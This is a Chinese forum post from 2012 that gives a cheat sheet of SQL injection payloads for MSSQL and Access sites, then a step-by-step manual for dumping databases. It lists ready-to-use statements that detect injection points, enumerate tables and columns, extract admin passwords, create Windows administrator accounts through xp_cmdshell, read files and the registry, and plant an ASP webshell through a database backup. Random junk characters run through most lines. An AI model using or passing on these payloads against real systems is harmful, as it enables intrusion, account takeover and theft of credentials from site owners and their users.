找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2192|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
6 v! ^1 c0 m* f7 r/ Q;and 1=1 1 a! v7 |; [/ i0 `# E4 a+ v8 M
;and 1=2 " u' S3 ^" W* ]) A6 v

( @, x4 E$ w/ b8 X6 E2.初步判断是否是mssql   P2 e) @3 B5 m4 D
;and user>0 $ ~) a8 G1 V* g4 D( f! u
' t0 [) d; Q# {7 O* c% {
3.判断数据库系统
! _* k; ^1 ~5 y# a;and (select count(*) from sysobjects)>0 mssql 8 W, F: e: p% [
;and (select count(*) from msysobjects)>0 access + w' z$ Y' M/ _9 U
9 E0 e  a' A9 E  U$ j
4.注入参数是字符 * U) O" n9 u1 Q! ?6 q' c$ D0 e
'and [查询条件] and ''=' 7 s) u8 ^! J' ]$ |
/ o( O% L& W/ j& r" |* F% Y: I
5.搜索时没过滤参数的
3 y4 p/ O6 W" D# M0 s'and [查询条件] and '%25'='
8 ]8 m/ g1 M# @% C  Z4 E: Y# B2 [; R+ g% ]: J
6.猜数表名 9 _8 E4 ]; B1 _3 ?3 C0 D% M& K: m
;and (select Count(*) from [表名])>0
+ E) u- t6 [* ?# T  A/ y3 V9 g! Z1 A* H/ k: S& M. ~. \1 U1 H
7.猜字段 3 Q7 c$ [- ]; B( t& H. @
;and (select Count(字段名) from 表名)>0
5 h- J2 {4 V) \7 W$ @  r
5 u/ N7 c+ s4 I  x4 p& d8.猜字段中记录长度
. _+ s( X, i; `5 p- Z; J1 h;and (select top 1 len(字段名) from 表名)>0 7 F/ D' K! _# E& I# g& F( L
3 ]" n  A: ?+ ^, {! W' ~0 H
9.(1)猜字段的ascii值(access) # f  O7 C- M* |3 z0 D
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 H7 r& A8 Z2 x, x- h$ A( t0 j) s$ M' @/ t6 e6 {* Q
(2)猜字段的ascii值(mssql) + x  z4 A4 B( u, d* _& z4 R( P# p/ \( s
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 * V# u8 a  W7 T; V, J5 {" y- l
( g# L! {+ m- I7 @
10.测试权限结构(mssql)
5 r9 T7 @: K! T! c. X3 `;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % T" q  ?3 @1 c( F: a: N/ R& U
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- w0 \( M6 p  u* B7 U; G$ u  k  Y;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 N2 D3 |9 ~; Z  i( B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5 M0 s* ~  E. x; q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , t% b1 O+ f7 u4 v/ |
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. W  Z6 I) O! s;and 1=(select IS_MEMBER('db_owner'));--
4 U3 {# W$ F/ q7 S
) O6 A' e5 U; C3 h9 D1 |11.添加mssql和系统的帐户 0 m& ^6 L, z) g* J% q
;exec master.dbo.sp_addlogin username;-- 2 W7 G) ^- g; _/ k; h* o7 E
;exec master.dbo.sp_password null,username,password;-- 8 m7 v/ Q1 |. ]8 b
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $ z4 N1 J" }! u0 `2 w" M
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
! F- T2 T4 n$ |5 N;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 p0 h7 b2 S. M;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--   D- t  N! q* Z& Q2 Y, O" J6 d, P

5 M9 K+ N, Y8 B2 X, ~0 e12.(1)遍历目录
0 t  X* ^8 _' x& V5 I* K;create table dirs(paths varchar(100), id int)
- D* g* d  o7 v9 `- U3 g' X" i& L;insert dirs exec master.dbo.xp_dirtree 'c:\'
( S) o2 W0 F; I: y" r; y;and (select top 1 paths from dirs)>0 ( S5 Q3 }4 K) X% t  |
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# q0 [; h4 i5 A1 ~4 u' C4 S4 e$ L
(2)遍历目录
$ `; Q, \7 ?3 ~5 E: W# E! f; w;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 v( s5 z3 N( J9 l8 d, D0 |;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 & N* s9 D! ]. n- J, K- H5 Y0 p8 i
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& N% H/ p& u/ O7 C. {" j2 {+ m6 k" F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
: N- v( A4 w3 Q9 c6 t7 V! S6 p; i;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
& _6 _) h# E7 T
# y/ p# K/ T& U1 d' ]13.mssql中的存储过程 . q% }( T1 A- E
xp_regenumvalues 注册表根键, 子键
4 D/ O5 y& |, K! D;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ e2 a* {/ W9 c; @# {; ixp_regread 根键,子键,键值名
+ m( \5 O+ \0 ~2 i;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
3 H# L% m1 v3 l/ B3 mxp_regwrite 根键,子键, 值名, 值类型, 值
: d" J  ]1 l, Z1 T/ D8 \) f& |值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
; y8 G, P/ `; ^* ]7 N2 d;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ; F/ l3 W6 E4 P( U) x
xp_regdeletevalue 根键,子键,值名 ' E2 Y& M9 b/ I  o- Y9 ^& W% z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 % C/ J3 H5 r" S% e. ]: d
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! h8 |/ W/ T3 b9 p) K% d4 O# D
$ d9 B7 |4 o: B( l+ q
14.mssql的backup创建webshell
  ?( i# S2 N9 p* z2 N9 P( ]( Uuse model
8 I) t* y; [' |1 }2 i- s3 Hcreate table cmd(str image); ( K; _' l8 a: ?4 Q) J5 e3 P
insert into cmd(str) values ('<% Dim oScript %>'); & d: u0 t& E1 J6 ^# g
backup database model to disk='c:\l.asp'; : F4 p- s* l- b. q# y
$ e3 @% ?% p0 G0 o
15.mssql内置函数
8 W# j0 {0 k& g; {4 u;and (select @@version)>0 获得Windows的版本号
0 r+ l% i) Y) x8 K. f;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' P6 p8 }5 b4 @* \! R1 [! [
;and (select user_name())>0 爆当前系统的连接用户 3 R1 v- j( [+ K" F4 p
;and (select db_name())>0 得到当前连接的数据库 7 U3 v+ V0 c" I3 K! h7 {8 x
/ h$ X  }# P8 w' v
( `  ^: S  g3 J% a- `
. ?: ]4 o: S3 z; p5 E) a7 G
MSSQL手注暴库1 `) S7 F. j( [3 }' m, A: F

' [0 d  G- D/ J# X1.暴出当前表名和列名& w2 v+ u3 x) L+ N
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。3 u/ [" ]6 w7 R) _

6 {5 n5 y+ x, Y, |7 Y& g) A第一.爆出所有数据库名
0 i' t1 A4 |6 C! r# R+ i, a利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
5 W# G, c. u; F5 [) P! d, l0 u第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。: Q) Y+ X3 [. D) R- E
) I: W. r$ t" ]& I
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名' q+ j; Z* L4 N5 [0 @
3 a! f% @  c- M6 `, \
+ F9 ?3 t5 K/ @5 ?7 a
第二.爆出指定库中的所有表名
1 A. D' K3 ?- v得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。7 }6 i  d5 F0 S7 N5 ^2 G: V- x8 a
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
% U6 i; n& f3 M' Y- R: i- \5 S: q  }
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
5 }& V! a. w' X$ [( V6 |and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
2 X( `2 J8 b8 K  [) p" O5 [and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
# n0 Y2 ^( j: F. C/ x! R- S
# d0 C% Y& p) O9 a( P$ @" r4.爆出指定表中的所有列名
- l' y$ X6 N* G! ^and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 9 t2 G# N# E, {5 i8 Q# T1 t" v
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
2 n/ W! ?" P5 \: E( T+ y) |6 [
( O6 T6 |3 {& |. I* u# ^2 @, Nand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名6 r8 G6 n: Q; k; z7 H, t

8 @6 G" b0 \' L) E0 i1 A( h再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- : _! \, T7 \5 V. ~
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。3 \1 A5 K% W, e$ P, Q7 ^0 U8 }" g. B% s
5 `' W% I3 @9 i1 j% p7 A, l
* W) R& i& [# `; I9 l; |
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
* A/ r9 z4 o5 `9 r. P7 \
% F& k5 g" m8 @and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
+ n8 M0 j- W2 N1 B' h
, U/ T9 [$ f4 K* `; ]9 G5 Cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # C7 L+ v. w! A/ Q7 Y5 N% Q# J7 G

. \, o0 Z, f5 [+ l/ P' D0 {
8 L) y/ `% A5 i: A! _- |# }7 T  C$ {  n  u7 T
5.读取指定表中的数据# |  e- n9 L5 L' x# ~9 Q/ ?
3 U; R$ R# `! b4 V7 s" h
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 : o4 s) U/ o/ @
+ y+ `; d8 h$ W, \+ _: C
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
  [6 l5 U, Q* w2 E, J# x' `- y+ k* N: p
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
0 _, h* H! _% j5 l2 n1 B* t# u. j/ }4 }7 g# |% ^& B

! |2 k1 `' m! _1 nand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
2 V. R% c" o; t9 z
+ t  L! d8 R& O, yand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)! I. q* N# Z+ T0 a- {
1 q2 }2 S* }) K
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--6 p) J. R- X9 X# R4 v0 t
& [  _# [" N9 H& h; @. S3 j
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
8 @' C, |, M) ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表